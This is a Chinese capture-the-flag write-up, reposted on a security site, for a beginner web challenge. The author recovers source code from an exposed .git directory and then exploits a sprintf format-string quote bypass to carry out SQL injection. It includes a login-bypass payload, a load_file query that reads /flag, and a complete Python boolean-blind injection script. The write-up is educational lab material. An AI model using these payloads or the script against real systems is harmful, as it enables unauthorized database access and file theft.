萌新赛-给她

admin 2022年1月5日23:05:51评论97 views字数 1096阅读3分39秒阅读模式

>

>

萌新赛-给她

yuchoxuuan

说实在的,这个题拿到之后一点思路都没有,过滤了'等东西,注入无望
准备放弃的。
后来,群主说,题目就是提示,
给她=git。。。
我心中有两个想法
1.我怎么总是忘了扫一下.git
2.群主的普通话是不是跟体育老师学的

于是gitHack一波,搞到了提示文件,文件显示用了
sprintf()
由于提示里面就两个sprintf ,而且这玩意太不常见了,于是觉得他很可以,于是去百度了一下,找到了大佬的这篇文章->
深入解析sprintf格式化字符串漏洞
在本题目的重点是 可以用%1$'构造 单引号
于是构造出pl:?name=admin&pass=1%1$' or 1=1-- -
于是。。。。就卧槽了
萌新赛-给她
然后仔细一看,不对,这不是标准页面,右键源码发现
萌新赛-给她
知道了flag路径的我,就没有跟其他大佬一样继续考虑别的事,直接尝试sql读物理文件了。。
select * from load_file(0x2f666c6167)
其中做0x2f... 就是 /flag 转十六进制,这样可以省去很多绕来绕去的麻烦。。发现可以读

def get(url=''): return requests.get(url).text
url="https://34663f4d-4af6-481c-8ac0-f97bd3442d95.chall.ctf.show/?user=a&pass=1%1$'or(FUCK)-- -"  #布尔盲注,FUCK就是要填载荷的地方
def check(pl = ''):
    return ( '<!--flag in /flag -->' in get(url.replace('FUCK',pl.replace("'", "%1$'"))))
len =7 # 先测一下/flag文件多长,感觉至少是7数,因为flag{}就6位了
while not check('length(load_file(0x2f666c6167))=%d'%len):
    len+=1
flag ="" #下面开始盲注每一位的字符。
abl = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ{}_~!@#$%^&*()+=-`{}[]|:;<>,.'
for i in range(1,len):
    print("\n %50s|%2d|"%(flag,i),end="")
    for c in abl:
        print(c,end='')
        pl = "SUBSTRING(load_file(0x2f666c6167),%d,1)='%s'"%(i,c)
        if check(pl):
            flag+=c
            break

然后就是漫长的等待了,偷懒的代价。。


  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年1月5日23:05:51
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   萌新赛-给她http://cn-sec.com/archives/719885.html

发表评论

匿名网友 填写信息